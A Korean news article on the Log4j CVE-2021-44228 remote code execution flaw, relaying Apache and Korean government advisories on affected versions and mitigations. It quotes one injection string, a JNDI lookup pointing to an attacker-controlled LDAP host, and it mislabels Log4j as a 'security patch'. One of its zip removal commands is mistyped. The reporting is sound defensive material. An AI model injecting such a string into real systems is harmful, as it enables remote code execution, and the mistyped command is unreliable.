아파치 재단 보안패치 취약점 공지, IT․보안업계에 긴급 처방 배포
v2.15.0으로 업그레이드, ‘log4j2.formatMsgNoLookups=true’로 설정
또는 동일 버전 ‘LOG4J_FORMAT_MSG_NO_Lookups=true’로 환경변수
아파치 재단도 방어책 공개, 과기정통부․인터넷진흥원 매뉴얼 긴급 공지

사진은 Log4j를 개발, 배포하고 있는 아파치 재단 홈페이지.  재단은 보안패치 Log4j’의 취약성이 드러나 긴급 업그레이드 등 대책이 필요하다고 공지했다.
사진은 Log4j를 개발, 배포하고 있는 아파치 재단 홈페이지. 재단은 보안패치 Log4j’의 취약성이 드러나 긴급 업그레이드 등 대책이 필요하다고 공지했다.

[애플경제 이보영 기자] 지난 주말 이후 국내 IT업계가 중요한 보안 패치의 취약점이 드러나 비상에 걸렸다. 보안을 위해 웹사이트를 방문한 로그 기록을 남기는 프로그램인 보안패치 ‘Log4j’의 취약점이 드러나 과학기술정보통신부도 급히 보안업데이트 등 비상 경보를 발령했다. 특히 글로벌 보안 SW기관인 아파치 재단의 긴급한 경고에 따른 것이어서 더욱 이례적인 사건으로 눈길을 끌고 있다.

‘Log4j’는 각종 웹사이트나 홈페이지 등의 안전한 운영과 관리를 목적으로 로그기록을 남기기 위해 사용하는 프로그램으로 아파치 재단이 사이버공격에 대비해 개발한 것이다. 프로그램 작성 중 로그를 남기기 위해 사용되는 자바 기반의 오픈소스 유틸리티다. 그러나 이런 기술의 허점이 이번에 발견된 것이다. 지난 9일 아파치 재단은 홈페이지를 통해 긴급 경보를 발했다.

아파치 재단은 경고문을 통해 “2021년 12월 9일 아파치 로그4j 2에 대한 새로운 ‘제로 데이’ 취약성이 보고되었다. 현재 CVE-2021-44228, 즉 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228.에서 추적하고 있다”고 밝혔다. 이에 과기정통부는 Apache Log4j 2 서비스에 대한 보안취약점이 발견됨에 따라 긴급 보안업데이트를 권고하였다. ‘CVE’는 취약 및 노출에 대한 식별자로서, 취약성이 노출된 시점의 상세한 내용이나, 그 영향, 취약성을 발견한 연구자 등의 정보를 담고 있다.

이번 아파치 재단에서 밝힌 취약 및 노출 정도인 CVE-2021-44228은 가장 높은 심각도 표시로 분류된다는게 재단측의 설명이다. 이 경우 외부 공격자는 기록된 메시지에 "${jndi:ldap:/some.attacker-controlled.site/}" 형식의 하위 문자열을 주입하여 임의 코드를 실행할 수 있다. 즉 공격자는 원격 서버에서 RCE(Remote Code Execution)라고 하는 코드를 실행할 수 있게 된다.

아파치 재단은 “Apache Log4j 개발자 및 SLF4J 프로젝트가 유의할 점은 Apache Log4j 1.x가 조회 메커니즘을 제공하지 않으며, CVE-2021-44228의 원격 코드 실행(RCE)에 취약하지 않다는 점”이라고 공지했다. 이와 함께 “v4.6 이후의 모든 ‘Apache CloudStack’ 릴리스는 Apache Log4j 버전 1.2.17을 사용하므로 RCE 취약성의 영향을 받지 않는다”면서 “기본 log4j xml 구성을 변경하지 않은 대부분의 사용자는 특별한 조치를 취할 필요가 없으며, 다만 고급 사용자는 사용자 지정 JMS 부록을 사용하는 경우 log4j xml 구성을 확인하고 수정할 수는 있다.”고 알렸다. 재단은 다만 “Apache CloudStack 프로젝트는 향후 릴리스에서 다른 버전의 Apache Log4j로의 마이그레이션을 고려한다”고 덧붙였다.

과기정통부도 “취약점을 악용해 공격자가 원격에서 공격코드를 실행시킬 수 있어 심각한 피해를 입을 수 있으므로 Log4j를 이용하는 경우 신속하게 업데이트를 적용해야한다”며 그 방식을 공지했다. 이에 따르면 ‘보호나라’(https://boho.or.kr) 사이트에 들어간 후 ‘자료실’을 거쳐 ‘보안공지’에서 ‘1614번 보안공지’를 찾으면 된다.

이에 따르면 일단 Apache Log4j 2에서 발생하는 원격코드 실행 취약점(CVE-2021-44228)을 찾는다. 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용을 하되, log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전 업데이트를 하는 것이 바람직하다.

최신버전으로 업데이트가 어려운 경우 사용 중인 버전을 확인한 후 버전별 조치를 한다. 버전확인방법은 다음과 같다. 우선 log4j가 설치된 경로의 "pom.xml"파일을 열어 "log4j-core"로 검색한다. 검색 결과 "사용버전(version)"임을 확인할 수 있다. 2.0-beta9 ~ 2.10.0의 경우는 JndiLookup 클래스를 경로에서 제거한다. 즉 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class에서 클래스를 제거한다. 조치방법은 2.10 ~ 2.14.1의 경우 log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정한다.

이런 매뉴얼을 안내한 인터넷진흥원은 “Log4j 취약점 관련 탐지정책은 Log4j로 검색하여 확인하면 된다. 이 탐지정책은 내부 시스템 환경에 따라 다르게 동작할 수 있으며, 시스템 운영에 영향을 줄 수 있으므로 충분한 검토 후 적용해야 한다”면서 “또 공개된 탐지정책은 우회 가능성이 있으므로 지속적인 업데이트가 필요하다”고 권했다.

이번 보안 패치 Log4의 취약점의 영향을 받는 버전은 두 가지 경우로 나뉜다. Apache Log4j 2의 경우는 2.0-beta9 ~ 2.14.1에 이르는 모든 버전의 제품이다. 또 Apache Log4j 2를 사용하는 제품의 경우는 해당 제조사의 권고에 따라 패치 또는 대응 방안을 적용해야 한다는 주문이다.

또 아파치 재단은 CVE-2021-44228 완화 방법으로 다음 옵션을 권장하기도 한다. 우선 Log4j v2.15.0으로 업그레이드하는 방법이며, 다음으론 Log4j v2.10 이상을 사용하고 있는데 업그레이드할 수 없는 경우 속성을 설정하는 경우다. 즉 ‘log4j2.formatMsgNoLookups=true’로 설정한다. 또는 동일한 버전에 대해 ‘LOG4J_FORMAT_MSG_NO_Lookups= true’로 환경 변수를 설정할 수 있다.

세 번째 방법으론 JndiLookup 클래스를 클래스 경로에서 제거한다. Jndi는 자바 프로그램이 디렉터리를 통해 데이터를 찾을 수 있게 하는 디렉터리 서비스다. 그래서 ‘zip -q -d log4j-core-*jar org/apache/loging/log4j/core/lookup/JndiLookup.classlog4j-core’에서 클래스를 제거하는 식으로 하면 된다.

저작권자 © 애플경제 무단전재 및 재배포 금지